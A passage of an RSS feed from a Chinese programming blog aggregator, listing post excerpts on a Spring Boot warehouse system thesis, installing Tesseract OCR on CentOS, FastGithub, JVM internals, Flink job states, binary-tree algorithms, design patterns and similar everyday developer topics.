Boot，你可以通过依赖管理和自动配置来减少手动配置工作，并使用Spring框架的各种功能，如依赖注入、面向切面编程等。同时，Spring Boot还提供了用于构建RESTful API、集成测试和部署的工具和插件，使得开发过程更加高效和便捷。&#xA;3.3 系统功能分析 快递仓库管理系统主要有管理员和员工两个功能模块。以下将对这两个功能的作用进行详细的剖析。&#xA;管理员模块：管理员是系统中的核心用户，管理员登录后，可以对后台系统进行管理。主要功能有个人中心、员工管理、客户信息管理、供应商管理、货物类型管理、货物信息管理、货物入库管理、货物出库管理、仓库信息管理等功能。管理员用例如图3-1所示。&#xA;图3-1 管理员用例图&#xA;员工：员工进入系统可以实现对个人中心、货物信息管理、货物入库管理、货物出库管理等功能进行操作，员工用例如图3-2所示。&#xA;图3-2 员工用例图&#xA;3.4系统流程分析 3.4.1程序流程图设计 在本系统，非本系统的用户要想进行快递仓库就要注册本系统，登录时需要填写相应的资料，如有使用者，则会显示使用者名称已经存在，请再次键入使用者名称的提示框，若使用者不存在，则填写密码、确认密码等资料，并由系统判定密码与确认密码相符，确认无误后，填写使用者所填写的资料，即可进行登记。而且，为了保证系统的安全，只有在登录了本系统以后，才能进行快递仓库管理系统。该系统的工作流程见图3-3。&#xA;图3-3 程序流程图&#xA;3.4.2添加信息流程图设计 在添加信息的时候，会判断是哪类用户，并根据用户类型判断执行是否合法，合法者可以进行添加，不合法者则不能进行此操作。管理员登录账号后可以对内容进行添加，拥有着最高的权限，其他用户权限次于管理员。添加信息流程图如图3-4所示：&#xA;图3-4系统添加流程图&#xA;3.4.3删除信息流程图设计 删除数据时与添加数据功能类似，删除数据具体流程如图3-5所示：&#xA;图3-5系统删除流程图&#xA;4.1 系统总功能模块设计 快递仓库管理系统分两大部分，即管理员管理和员工管理。系统按照用户的实际需求开发而来，贴近生活。从管理员出拿到分配好的账号密码可以进入系统，使用相关的系统应用。管理员总体负责整体系统的运行维护，统筹协调。&#xA;系统整体模块设计：系统分为管理员和员工两大用户角色，系统管理员有最大的权限，整体功能展示如图4-1所示。&#xA;图4-1 系统整体功能图&#xA;4.2 系统数据库设计 4.2.1 数据库系统概要设计 从设计到制作研发一个系统，需要用到的技术很多，对于开发程序语言、数据库和框架布局都有严格的要求。该系统数据存放使用MySql的数据库，该数据库轻便快速，日常使使用系统十分稳定，更容易维护运行。&#xA;4.2.2 E-R模型结构设计 E-R图由实体与有关实体关联相结合构成的图，利用E-R图对清楚地表达出系统内的实体之间的关联。在系统中对一些主要的几个关键实体如下图。&#xA;(1) 仓库信息实体属性图如下图4-2所示。&#xA;图4-2仓库信息实体属性图&#xA;(2) 客户信息实体属性图如下图4-3所示。&#xA;图4-3客户信息实体属性图&#xA;(3) 货物信息实体属性图如下图4-4所示。&#xA;图4-4货物信息实体属性图&#xA;(4) 员工实体属性图如下图4-5所示。&#xA;图4-5员工实体属性图&#xA;(5) 供应商实体属性图如下图4-6所示。</description>
    </item>
    <item>
      <title>Centos7 下 部署开源tesseract-ocr完整教程</title>
      <link>https://bchobby.github.io/posts/07a7b355f69df70eea5279e8dde89167/</link>
      <pubDate>Fri, 04 Aug 2023 20:40:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/07a7b355f69df70eea5279e8dde89167/</guid>
      <description>Centos 7 下部署 tesseract5 我的 Centos7 是一个干净的系统，另外下述操作步骤亲测.&#xA;参考博客 http://www.nanstar.top/p/wiki_1649411481701https://segmentfault.com/a/1190000041832780 相关资源下载地址 https://download.csdn.net/download/qq_33547169/88168646&#xA;脚本 # 安装libjpeg-devel libpng-devel ，可以让 leptonica支持 png 和 peg 的图片。 # 具体最终支持哪些文件，可以通过 tesseract --version 命令查看 yum install -y automake ca-certificates g++ libtool make libtiff-devel libjpeg-devel libpng-devel centos-release-scl devtoolset-8-gcc* scl enable devtoolset-8 bash mv /usr/bin/gcc /usr/bin/gcc-4.8.5 ln -s /opt/rh/devtoolset-8/root/bin/gcc /usr/bin/gcc mv /usr/bin/g++ /usr/bin/g++-4.8.5 ln -s /opt/rh/devtoolset-8/root/bin/g++ /usr/bin/g++ # 如果下载了资源 可以跳过 wget wget http://www.leptonica.org/source/leptonica-1.82.0.tar.gz tar zxf leptonica-1.82.0.tar.gz cd leptonica-1.82.0/ ./configure &amp;amp;&amp;amp; make -j 100 &amp;amp;&amp;amp; make install # 配置环境变量 vi /etc/profile export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib export LIBLEPT_HEADERSDIR=/usr/local/include export PKG_CONFIG_PATH=/usr/local/lib/pkgconfig source /etc/profile # 如果下载了资源 可以跳过 wget wget https://github.</description>
    </item>
    <item>
      <title>FastGithub下载及使用</title>
      <link>https://bchobby.github.io/posts/a3604372ac760aa769a928e9c58b4c7f/</link>
      <pubDate>Fri, 04 Aug 2023 17:26:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3604372ac760aa769a928e9c58b4c7f/</guid>
      <description>GitHub访问问题 很多需要用到的脚本及软件会先发布在GitHub上，所以经常需要访问GitHub，但是每次都会卡在跳转到GitHub的步骤，就是还没开始就可以结束了。&#xA;之前尝试过手动修改host文件来解决网站的访问问题 以及更换网络但还是有时候无法如愿的访问GitHub&#xA;FastGithub 介绍 终于有一天我和大佬（一个超厉害的老师）抱怨无法正常访问GitHub的时候，大佬指着屏幕上的fast GitHub和我说试试这个&#xA;真是不试不知道 有一试吓一跳！&#xA;FastGithub是一个开源的软件主要为了使GitHub畅通无阻，有超大量的IP资源、快速的IP检测功能，以及微小的宽带占用，智能的DNS设置，并且支持多平台和加速GitHub的其它域名 github加速神器，解决github打不开、用户头像无法加载、releases无法上传下载、git-clone、git-pull、git-push失败等问题 fastgithub下载界面简介&#xA;FastGithub 下载 源代码是发布在GitHub上的，但是当我们无法正常访问GitHub的时候可以先下载发布在gitee上的旧版本 （已失效），等能正常访问GitHub的时候再下载使用最新的版本。目前还是2022年3月份更新的版本&#xA;下载最新版本&#xA;下载到指定的位置，我是下载到了D盘里面防止C盘内存不够&#xA;安装及使用 下载下来的是个zip的压缩包，解压缩之后找到.exe的运行程序，双击运行程序&#xA;运行程序&#xA;然后以管理员的身份运行cmd，输入运行FastGithub的命令即可运行 D:\software\fastgithub_win-x64是你将fast GitHub下载存放的位置&#xA;D:\software\fastgithub_win-x64\FastGithub.exe start #启动fast GitHub D:\software\fastgithub_win-x64\FastGithub.exe stop #停止fast GitHub 启动之后fast GitHub会自动更改你的dns&#xA;然后就可以顺畅无阻的访问GitHub啦！&#xA;在每次访问GitHub之前记得要先保证FastGithub在运行的状态 在安装完成之后可以直接点开fastgithub的执行文件就可以运行程序，顺利连接到Github。如果不能正常打开.exe的执行文件的话还是使用命令去启动，刚开始直接将执行文件拖到桌面是不能使用的，是在文件夹里面打开之后固定在任务栏之后可以正常使用。&#xA;安装GitHub上FastGithub的最新版本 当GitHub能正常跳转之后我们就可以下载安装GitHub上的FastGitHub的最新版本，或者现在的fastgithub官网上也是有最新版的下载链接的，安装使用方法一致&#xA;最新版安装使用&#xA;Linux下FastGithub及使用 我竟然忘记了服务器上面下载GitHub上的数据也是慢的离谱，所以呢需要下载linux上的FastGithub来进行加速&#xA;下载和安装FastGithub yum install libicu #先下载依赖包 wget -c https://github.com/dotnetcore/FastGithub/releases/download/2.0.4/fastgithub_linux-x64.zip # 下载FastGithub unzip fastgithub_linux-x64.zip #解压 cd fastgithub_linux-x64 #进入到FastGithub文件夹下 ./fastgithub #运行FastGithub 下载依赖包&#xA;下载FastGithub并解压&#xA;运行FastGithub&#xA;下载GitHub上的内容 因为当直接运行fast GitHub的时候会停在这个界面，下载东西不方便所以考虑将其直接挂载载后台运行，然后访问下载Github上的内容&#xA;nohup ./fastgithub 2&amp;gt;&amp;amp;1 &amp;amp; #将程序挂载后台运行且不输出日志文件 wget -c https://github.</description>
    </item>
    <item>
      <title>向量数据库</title>
      <link>https://bchobby.github.io/posts/f9f851e574d3b9571a1ec19b9770dce7/</link>
      <pubDate>Fri, 04 Aug 2023 17:10:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9f851e574d3b9571a1ec19b9770dce7/</guid>
      <description>1. 什么是矢量数据库 https://www.pinecone.io/learn/vector-database/&#xA;2. 数据预处理 数据在存入向量数据库前，需先做embedding转化为向量&#xA;什么是矢量嵌入：&#xA;https://www.pinecone.io/learn/vector-embeddings-for-developers/&#xA;https://platform.openai.com/docs/guides/embeddings/what-are-embeddings&#xA;embedding 转换模型:https://www.sbert.net/docs/pretrained_models.html</description>
    </item>
    <item>
      <title>JS 获取URL 某个参数</title>
      <link>https://bchobby.github.io/posts/47b171d4c28bf70d86b722a3a6617cae/</link>
      <pubDate>Fri, 04 Aug 2023 14:32:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/47b171d4c28bf70d86b722a3a6617cae/</guid>
      <description> // 假设 URL 为 https://example.com/?id=123&amp;amp;name=John const urlParams = new URLSearchParams(window.location.hash); const id = urlParams.get(&#39;id&#39;); // 返回 &#34;123&#34; const name = urlParams.get(&#39;name&#39;); // 返回 &#34;John&#34; </description>
    </item>
    <item>
      <title>JVM详解</title>
      <link>https://bchobby.github.io/posts/63df8644966dea4149a1ca9c486f6cea/</link>
      <pubDate>Fri, 04 Aug 2023 12:46:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63df8644966dea4149a1ca9c486f6cea/</guid>
      <description>目录&#xA;一、前言&#xA;1.什么是JVM?&#xA;2.学习路线&#xA;二、内存结构&#xA;1.程序计数器&#xA;2.虚拟机栈&#xA;3.本地方法栈&#xA;4.堆&#xA;5.方法区&#xA;6.直接内存&#xA;三、垃圾回收&#xA;1.如果判断对象可以回收&#xA;2.垃圾回收算法&#xA;3.垃圾回收器&#xA;CMS收集器&#xA;G1（Garbage First）收集器：区域化分代式&#xA;4.垃圾回收调优&#xA;四、类加载与字节码技术&#xA;1.类文件结构&#xA;2.字节码指令&#xA;图解方法执行流程&#xA;通过字节码指令分析问题&#xA;构造方法&#xA;方法调用&#xA;多态原理&#xA;异常处理&#xA;Synchronized&#xA;3.编译期处理&#xA;默认构造器&#xA;自动拆装箱&#xA;泛型集合取值&#xA;可变参数&#xA;foreach 循环&#xA;switch 字符串&#xA;switch 枚举&#xA;枚举类&#xA;try-with-resources&#xA;方法重写时的桥接方法&#xA;匿名内部类&#xA;4.类加载阶段&#xA;加载&#xA;连接&#xA;初始化&#xA;典型应用 - 完成懒惰初始化单例模式&#xA;5.类加载器&#xA;双亲委派模式&#xA;自定义类加载器&#xA;线程上下文类加载器（破坏双亲委派模式）&#xA;6.运行期优化&#xA;即时编译&#xA;方法内联&#xA;反射优化&#xA;一、前言 1.什么是JVM? 定义： Java Virtual Machine - java 程序的运行环境（ java 二进制字节码的运行环境） 好处： 一次编写，到处运行 1.</description>
    </item>
    <item>
      <title>hbase shell实验</title>
      <link>https://bchobby.github.io/posts/9069dc5ad6d18ebef663ca745ceeb535/</link>
      <pubDate>Fri, 04 Aug 2023 11:22:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9069dc5ad6d18ebef663ca745ceeb535/</guid>
      <description>启动hadoop&#xA;启动hbase&#xA;进入shell界面&#xA;创建表</description>
    </item>
    <item>
      <title>2024 机器学习/深度学习/Python数据分析可视化/必过毕业设计选题</title>
      <link>https://bchobby.github.io/posts/0ca3472a0454896f5cfe47d1dfbaff4e/</link>
      <pubDate>Fri, 04 Aug 2023 10:47:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0ca3472a0454896f5cfe47d1dfbaff4e/</guid>
      <description>深度学习/机器学习篇 1、基于机器学习的反电信诈骗系统 数据集：互联网公开渠道获取。&#xA;技术：决策树、SVM算法、Django、MySQL。&#xA;功能：短信展示、诈骗短信判断、短信分析可视化、数据集管理。&#xA;2、基于机器学习的垃圾短信过滤识别系统 数据集：互联网公开渠道获取。&#xA;技术：决策树、SVM算法、Django、MySQL。&#xA;功能：登录注册、短信展示、垃圾短信判断、短信分析可视化、数据集管理。&#xA;3、基于机器学习的敏感话题识别系统 数据集：爬取的微博相关数据。&#xA;技术：贝叶斯算法、Django、MySQL。&#xA;功能：登录注册、微博展示、敏感话题判断、手动爬取数据、数据集管理。&#xA;4、基于LSTM的电商评论情感分析 数据集：爬取的京东评论相关数据。&#xA;技术：Flask、Sklearn。&#xA;功能：数据爬取、数据处理、数据可视化、情感分析、词云展示。&#xA;创新点：可手动指定爬取目标，分析目标的相关评论内容数据&#xA;5、基于LSTM的股票数据预测 数据集：爬取相关股票数据&#xA;技术：使用Pandas进行分析、Flask搭建页面&#xA;功能：股票爬取、数据处理、股票展示、数据可视化、股票预测、股票分类、股票推荐&#xA;6、基于Python的5G套餐潜在客户预测系统的设计与实现 数据集：数据来源为中国移动历史数据。该数据集覆盖了用户的基本资料、消费信息、超套信息、宽带信息、其他信息等维度&#xA;技术：使用Python语言，Pandas进行数据处理，Echarts可视化、Flask搭建框架、随机森林算法预测&#xA;7、LSTM+Holt实现北京市空气质量数据可视化分析 数据集：爬取2345天气网；&#xA;分析可视化技术：使用Pandas进行数据分析，Echarts进行可视化，使用Flask框架；&#xA;功能：温度分析、天气分析、风向分析、空气质量分析、机器学习、对空气质量进行预测，登录注册&#xA;8、基于spark的房价数据分析预测推荐系统 数据集：爬取58同城房价数据&#xA;技术：Pandas、Spark、Echarts、Flask、协同过滤推荐&#xA;功能：数据爬取、数据处理、数据可视化、房价预测、房屋推荐、数据管理、用户管理&#xA;9、基于Python的面部健康特征判别系统 数据集：互联网获取的公开数据集，分为健康、亚健康和不健康，面部表情张图片共有1000张，舌头图像共有1000张&#xA;技术：Python、Flask、MobileNet&#xA;功能：主要分为模型训练和前台识别测试界面，界面中包含图像上传、识别结果返回的功能。模型训练包括读取图像、处理图像、模型训练、利用训练好的模型进行图像识别等。&#xA;10、基于决策树的企业员工离职率分析和预测 数据集：来源于Kaggle，是某公司的离职数据，包含14999条记录&#xA;技术：Pandas、Flask、决策树&#xA;功能：数据数据处理、数据可视化、手动添加数据进行员工离职预测&#xA;11、基于Python新闻文本分类的设计与实现 数据集：通过爬取中国新闻网站的网页数据获取&#xA;技术：采用了Python语言、Flask技术、B/S架构、贝叶斯算法。&#xA;功能：通过Python爬虫代码对新闻数据进行获取，获取的新闻数据包含了对应的分类标签。其次对获取的新闻数据进行处理，处理方法包括去除重复值、去除异常值、截取纯文本和标签列等等；然后对新闻数据进行简单的分析可视化，查看数据分布的规律；最后利用朴素贝叶斯模型，对新闻文本数据进行分类，分类之前要进行分词、去停用词、向量化等处理，得到模型之后对模型效果进行评估。&#xA;12、基于数据挖掘的高校学生行为与成绩的关联性研究 数据集：本次采用的数据集来源于智慧中国杯，数据内容为2013~2014、2014~2015两学年的学生在校行为数据作为原始数据，包括消费数据、图书借阅数据、寝室门禁数据、图书馆门禁数据、学生成绩排名数据&#xA;功能：本课题研究以 Python变成语言为基础，对学生行为数据进行分析，采用相关性分析对学生的行为和成绩进行分析，最后使用Echart可视化框架，结合FlaskWeb框架，展示可视化分析结果。&#xA;创新点：这一研究，不仅可以帮助辅导员、家长对学生行为状况进行监测和预警，亦可以帮助学校提供更加精准的教育服务和管理决策。&#xA;13、基于NLP的微博情感分析 数据集：爬取相关话题的微博数据&#xA;技术：通过综合应用Python技术、NLP模型、Flask框架&#xA;功能：对微博网站所采集到的相关信息及时进行清洗、筛选、分词以及分析。将分析过后的数据存储到数据库中。对分析过后的数据进行可视化展示，制作高频词汇的词云，方便用户更直观看出此时的热点，再利用NLP和贝叶斯进行微博言论的情感分析。&#xA;14、基于bp神经网络的房价预测系统 数据集：爬取58同城的二手房数据&#xA;技术Python技术、bp神经网络模型、Flask框架&#xA;功能：数据的爬取、预处理、分析、可视化。系统功能包括登录注册、房价数据展示、房价变化趋势、各区房价对比、房间数和朝向分析、房价预测等。&#xA;15、门店顾客口罩检测报警系统 数据集：戴口罩和不戴口罩的图像数据集&#xA;技术：PyTorch、MobileNetV2、Yolo、PyQt&#xA;功能：包括图像预处理、模型搭建、模型评估、GUI界面搭建等步骤，为用户提供视频上传功能，采用Python技术搭建页面，帮助门店将未戴口罩的人群进行识别和报警。&#xA;创新点：本选题将探索一种基于深度学习的人脸口罩识别算法，以用于快速自动识别人群是否佩戴口罩。该项人脸口罩识别算法将有效降低公共场所检查是否佩戴口罩时病毒传播的风险，即有利于提高检查速度与效率、降低人力成本。&#xA;16、基于机器学习的汽车销量预测 数据集：爬取的汽车数据以及获取的经济相关数据，&#xA;技术：Sklearn、Flask、逻辑回归算法&#xA;功能：根据国内生产总值当季值、汽油价格、人民币贷款基准利率、汽车总产量、公路里程数、汽车整车股票指数、消费者信心指数等来预测汽车销量，并展示汽车销量数据的可视化结果。&#xA;17、基于人脸识别的课堂签到系统 数据集：通过摄像头采集人脸数据</description>
    </item>
    <item>
      <title>Flink作业调度的9种状态</title>
      <link>https://bchobby.github.io/posts/56d42179c55093ccc356450f0366cf2b/</link>
      <pubDate>Thu, 03 Aug 2023 22:50:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/56d42179c55093ccc356450f0366cf2b/</guid>
      <description>1.什么是作业调度 Flink 通过 Task Slots 来定义执行资源。每个 TaskManager 有一到多个 task slot，每个 task slot 可以运行一条由多个并行 task 组成的流水线。 这样一条流水线由多个连续的 task 组成，比如并行度为 n 的 MapFunction 和 并行度为 n 的 ReduceFunction。&#xA;例如：一个由数据源、MapFunction 和 ReduceFunction 组成的 Flink 作业，其中数据源和 MapFunction 的并行度为 4 ，ReduceFunction 的并行度为 3 。流水线由一系列的 Source - Map - Reduce 组成，运行在 2 个 TaskManager 组成的集群上，每个 TaskManager 包含 3 个 slot，整个作业的运行如下图所示。&#xA;2.作业调度的9种状态 当创建一个Flink任务后，该任务可能会经历多种状态。目前Flink给任务共定义了9种状态，包括：&#xA;CreatedRunningFinishedCancellingCanceledRestartingFailingFailedSuspended 具体状态流转如下图所示：&#xA;具体流程分成以下几个场景：&#xA;正常流程： Flink 作业正常启动处于 created 状态，启动成功后切换到 running 状态，当所有任务都执行完之后会切换到 finished 状态。作业失败：如果遇到失败的话，作业首先切换到 failing 状态以便取消所有正在运行的 task。如果所有 job 节点都到达最终状态并且 job 无法重启， 那么 job 进入 failed 状态。作业重试：如果配置了失败重试次数，任务会自动尝试重启，如果重启成功，那么任务会从Restarting 状态变更为 Created 继而再处于 Running 状态，如果重启失败且已无法恢复，那么任务会等所有tasks都进入到最终状态后变更为Failed状态。作业取消：如果用户取消了 job 话，它会进入到 cancelling 状态，并取消所有正在运行的 task。当所有正在运行的 task 进入到最终状态的时候，job 进入 cancelled 状态。 Finished、canceled 和 failed 会导致全局的终结状态，并且触发作业的清理。跟这些状态不同，suspended 状态只是一个局部的终结。局部的终结意味着作业的执行已经被对应的 JobManager 终结，但是集群中另外的 JobManager 依然可以从高可用存储里获取作业信息并重启。因此一个处于 suspended 状态的作业不会被彻底清理掉。</description>
    </item>
    <item>
      <title>Electron 开发，报handshake failed； returned -1, SSL error code 1,错误</title>
      <link>https://bchobby.github.io/posts/7ab0f4c47c1ff001a2a969a4d46af105/</link>
      <pubDate>Thu, 03 Aug 2023 19:54:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ab0f4c47c1ff001a2a969a4d46af105/</guid>
      <description>代码说明 在preload.js代码中，暴露参数给渲染线程renderer.js访问，&#xA;renderer.js&#xA;报：ERROR:ssl_client_socket_impl.cc(978)] failed; returned -1, SSL error code 1,错误&#xA;问题原因 如题所说，跨进程传递消息，这意味着访问将尝试建立一个不安全的连接，而ssl证书验证失败，无法建立连接。&#xA;所以我们要做的是：如何让electron允许建立不安全的连接&#xA;解决方法 在建立连接之前，先设置忽略认证异常，即修改代码如下：</description>
    </item>
    <item>
      <title>算法刷题总结 (十一) 二叉树</title>
      <link>https://bchobby.github.io/posts/a55cca2cdc31b57695a216d18cf1170c/</link>
      <pubDate>Thu, 03 Aug 2023 19:12:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a55cca2cdc31b57695a216d18cf1170c/</guid>
      <description>算法总结11 二叉树 一、二叉树的概念1.1、什么是二叉树？1.2、二叉树的常见类型1.2.1、无数值（1）、满二叉树（2）、完全二叉树 1.2.2、有数值（3）、二叉搜索树（4）、平衡二叉搜索树 1.3、二叉树的存储方式（1）、链式存储方式（2）、顺序存储方式 1.4、二叉树的遍历方式1.5、二叉树的递归遍历（1）、前序遍历（2）、中序遍历（3）、后序遍历 1.6、二叉树的迭代遍历（1）、前序遍历（2）、中序遍历（3）、后序遍历 1.7、二叉树的统一迭代法（1）、前序遍历（2）、中序遍历（3）、后序遍历 1.8、二叉树的层序遍历 二、经典例题2.1、前中后序遍历144.二叉树的前序遍历94.二叉树的中序遍历145.二叉树的后序遍历 2.2、层序遍历102.二叉树的层序遍历107.二叉树的层次遍历II199.二叉树的右视图637.二叉树的层平均值429.N叉树的层序遍历515.在每个 树行中找最大值116.填充每个节点的下一个右侧节点指针117.填充每个节点的下一个右侧节点指针II104.二叉树的最大深度111.二叉树的最小深度 2.3、其他类型617.合并二叉树105. 从前序与中序遍历序列构造二叉树106.从中序与后序遍历序列构造二叉树剑指 Offer 68 - II. 二叉树的最近公共祖先235. 二叉搜索树的最近公共祖先98.验证二叉搜索树652. 寻找重复的子树 2.4、其他经典练习题226.翻转二叉树101. 对称二叉树104.二叉树的最大深度111.二叉树的最小深度222.完全二叉树的节点个数110.平衡二叉树257. 二叉树的所有路径404.左叶子之和513.找树左下角的值112. 路径总和654.最大二叉树700.二叉搜索树中的搜索530.二叉搜索树的最小绝对差501.二叉搜索树中的众数236. 二叉树的最近公共祖先701.二叉搜索树中的插入操作450.删除二叉搜索树中的节点669. 修剪二叉搜索树108.将有序数组转换为二叉搜索树538.把二叉搜索树转换为累加树 一、二叉树的概念 二叉树作为一个基础的数据结构，遍历算法作为一个基础的算法，两者结合当然是经典的组合了。很多题目都会有他的身影，有直接问二叉树的遍历的，有间接问的。比如要你找到树中满足条件的节点，就是间接考察树的遍历，因为你要找到树中满足条件的点，就需要进行遍历。你如果掌握了二叉树的遍历，那么也许其他复杂的树对于你来说也并不遥远了。&#xA;1.1、什么是二叉树？ 二叉树（Binary tree）是树形结构的一个重要类型。许多实际问题抽象出来的数据结构往往是二叉树形式，即使是一般的树也能简单地转换为二叉树，而且二叉树的存储结构及其算法都较为简单，因此二叉树显得特别重要。二叉树特点是每个节点最多只能有两棵子树，且有左右之分。&#xA;二叉树是n个有限元素的集合，该集合或者为空、或者由一个称为根（root）的元素及两个不相交的、被分别称为左子树和右子树的二叉树组成，是有序树。当集合为空时，称该二叉树为空二叉树。在二叉树中，一个元素也称作一个节点 。&#xA;总之：二叉树（binary tree）是指树中节点的度不大于2的有序树，它是一种最简单且最重要的树。二叉树的递归定义为：二叉树是一棵空树，或者是一棵由一个根节点和两棵互不相交的，分别称作根的左子树和右子树组成的非空树；左子树和右子树又同样都是二叉树&#xA;1.2、二叉树的常见类型 1.2.1、无数值 （1）、满二叉树 满二叉树：如果一棵二叉树只有度为0的结点和度为2的结点，并且度为0的结点在同一层上，则这棵二叉树为满二叉树。&#xA;如图所示：&#xA;这棵二叉树为满二叉树，也可以说深度为 k k k，有 2 k − 1 2^k-1 2k−1个节点的二叉树。&#xA;（2）、完全二叉树 完全二叉树的定义如下：在完全二叉树中，除了最底层节点可能没填满外，其余每层节点数都达到最大值，并且最下面一层的节点都集中在该层最左边的若干位置。若最底层为第 h h h 层，则该层包含 1 − 2 ( h − 1 ) 1- 2^{(h-1)} 1−2(h−1) 个节点。</description>
    </item>
    <item>
      <title>智能电话语音机器人：为企业营销开启新时代</title>
      <link>https://bchobby.github.io/posts/63616d2b88dfe467b3358eb14c96e9d2/</link>
      <pubDate>Thu, 03 Aug 2023 18:00:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63616d2b88dfe467b3358eb14c96e9d2/</guid>
      <description>引言：&#xA;随着科技的不断进步和智能化的发展，电话语音机器人作为一种全新的营销工具，正逐渐成为企业提升客户服务和销售业绩的重要利器。电话语音机器人能够通过自然语言处理和语音识别技术与客户进行智能对话，为企业提供高效、准确的电话营销服务。本文将重点介绍电话语音机器人在企业营销中的优势和应用场景。&#xA;一、提升客户服务质量&#xA;电话语音机器人可以通过预设的问答模式和信息数据库，为客户提供快速、准确的解答和服务。无论客户有任何疑问或需求，电话语音机器人都能够提供全天候的在线服务，帮助客户解决问题，提升客户满意度。同时，电话语音机器人也能够自动记录客户的信息和需求，为企业提供有价值的市场调研和客户分析数据。&#xA;二、提高销售效率&#xA;电话语音机器人能够根据客户的需求和购买意向，智能化地进行产品推荐和销售引导。通过语音识别技术，电话语音机器人可以准确判断客户的需求，并根据企业的销售策略进行个性化推荐，有效提高销售转化率。此外，电话语音机器人还能够自动跟进客户，提供售后服务和促销活动信息，增强客户的忠诚度和购买意愿。&#xA;三、降低运营成本&#xA;相比传统的人工客服团队，电话语音机器人具有明显的成本优势。电话语音机器人可以实现自动化的客户服务和销售过程，不需要额外的人力资源和培训成本。同时，电话语音机器人还能够同时为多个客户提供服务，无需等待和排队，大幅提高服务效率，降低企业的运营成本。&#xA;四、应用场景举例&#xA;电商企业：电话语音机器人可以为客户提供产品咨询、订单查询和退换货服务，提升购物体验和客户满意度。金融机构：电话语音机器人可以为客户提供贷款咨询、账户查询和理财建议，提高金融服务的便捷性和效率。售后服务：电话语音机器人可以为客户提供产品故障排查和售后支持，解决客户问题，增强品牌的口碑和信任度。 结论：&#xA;电话语音机器人作为一种智能化的营销工具，为企业提供了高效、准确的客户服务和销售支持。通过提升客户服务质量、提高销售效率和降低运营成本，电话语音机器人为企业带来了巨大的商机和竞争优势。未来，随着技术的进一步发展，电话语音机器人将在各个行业继续发挥重要的作用，为企业营销开启全新的时代。</description>
    </item>
    <item>
      <title>【设计模式——学习笔记】23种设计模式——访问者模式Visitor（原理讲解&#43;应用场景介绍&#43;案例介绍&#43;Java代码实现）</title>
      <link>https://bchobby.github.io/posts/9018cc32040b7140b4189b27d623b3f6/</link>
      <pubDate>Thu, 03 Aug 2023 17:44:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9018cc32040b7140b4189b27d623b3f6/</guid>
      <description>文章目录 案例引入要求传统方案 介绍基本介绍应用场景登场角色尚硅谷版本《图解设计模式》版本 案例实现案例一实现拓展 案例二(个人感觉这个案例较好)实现分析拓展一拓展二拓展三 总结额外知识双重分发 文章说明 案例引入 要求 测评系统需求：将观众分为男人和女人，对歌手进行测评，当看完某个歌手表演后，得到他们对该歌手不同的评价(比如 成功、失败 等)&#xA;传统方案 Man和Woman里面都有“成功”、“失败”的方法&#xA;【分析】&#xA;如果系统比较小，这样设置是可以的，但是考虑系统增加越来越多新的功能时，对代码改动较大（如需要增加一个新的评价方式，就需要在Man和Woman类中同时添加），违反了ocp原则，不利于维护扩展性不好，比如增加了新的人员类型，或者增加新的评价，都需要修改很多代码 【改进】&#xA;使用访问者模式&#xA;介绍 基本介绍 在数据结构中保存着许多元素，我们会对这些元素进行“处理”。这时，“处理”代码放在哪里比较好呢？通常的做法是将它们放在表示数据结构的类中。但是，如果“处理”有许多种呢？这种情况下，每当增加一种处理，我们就不得不去修改表示数据结构的类。在Visitor模式中，数据结构与处理被分离开来。我们编写一个表示“访问者”的类来访问数据结构中的元素，并把对各元素的处理交给访问者类。这样，当需要增加新的处理时，我们只需要编写新的访问者，然后让数据结构可以接受访问者的访问即可即访问者模式主要将数据结构与数据操作分离，解决数据结构和操作耦合性问题访问者模式的基本工作原理是: 在被访问的类里面提供一个对外接待访问者的接口 应用场景 需要对一个对象结构中的对象进行很多不同操作（而且这些操作彼此没有关联），需要避免让这些操作&#34;污染&#34;这些对象的类，可以选用访问者模式解决 登场角色 Visitor ：是抽象访问者，为该对象结构中的ConcreteElement的每一个类声明一个visit方法ConcreteVisitor：是一个具体的访问者，实现Visitor声明的每个方法ObjectStructure：能枚举它的元素，可以提供一个高层的接口，用来允许访问者访问元素（比如案例一的ObjectStructure类的display方法）Element：定义一个accept 方法，接收一个访问者对象ConcreteElement：为具体元素，实现了accept 方法 尚硅谷版本 《图解设计模式》版本 Visitor(访问者)：Visitor角色负责对数据结构中每个具体的元素(ConcreteElement角色)声明一个用于访问XXXXX的visit(XXXXX)方法。visit(XXXXX)是用于处理XXXXX的方法负责实现该方法的是ConcreteVisitor角色ConcreteVisitor(具体的访问者)：ConcreteVisitor角色负责实现 Visitor角色所定义的接口(API)。它要实现所有的visit(XXXXX)方法，即实现如何处理每个ConcreteElement角色Element(元素)：Element角色表示Visitor角色的访问对象。它声明了接受访问者的accept方法。accept 方法接收到的参数是Visitor角色ConcreteElement(具体元素)：ConcreteElement角色负责实现Element角色所定义的接口(API)ObjectStructure(对象数据结构)：ObjectStructur角色负责处理Element角色的集合，能够枚举它的元素（案例二的Directory类同时扮演该角色和ConcreteElement角色） 案例实现 案例一 实现 【Action（Visitor）】&#xA;package com.atguigu.visitor; public abstract class Action { /** * 得到男性 的测评 * @param man */ public abstract void getManResult(Man man); /** * 得到女性 的测评 * @param woman */ public abstract void getWomanResult(Woman woman); } 【Success（ConcreteVisitor）】</description>
    </item>
    <item>
      <title>RPC项目</title>
      <link>https://bchobby.github.io/posts/68efc74d9161adc307ad9301a91af31a/</link>
      <pubDate>Thu, 03 Aug 2023 17:04:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68efc74d9161adc307ad9301a91af31a/</guid>
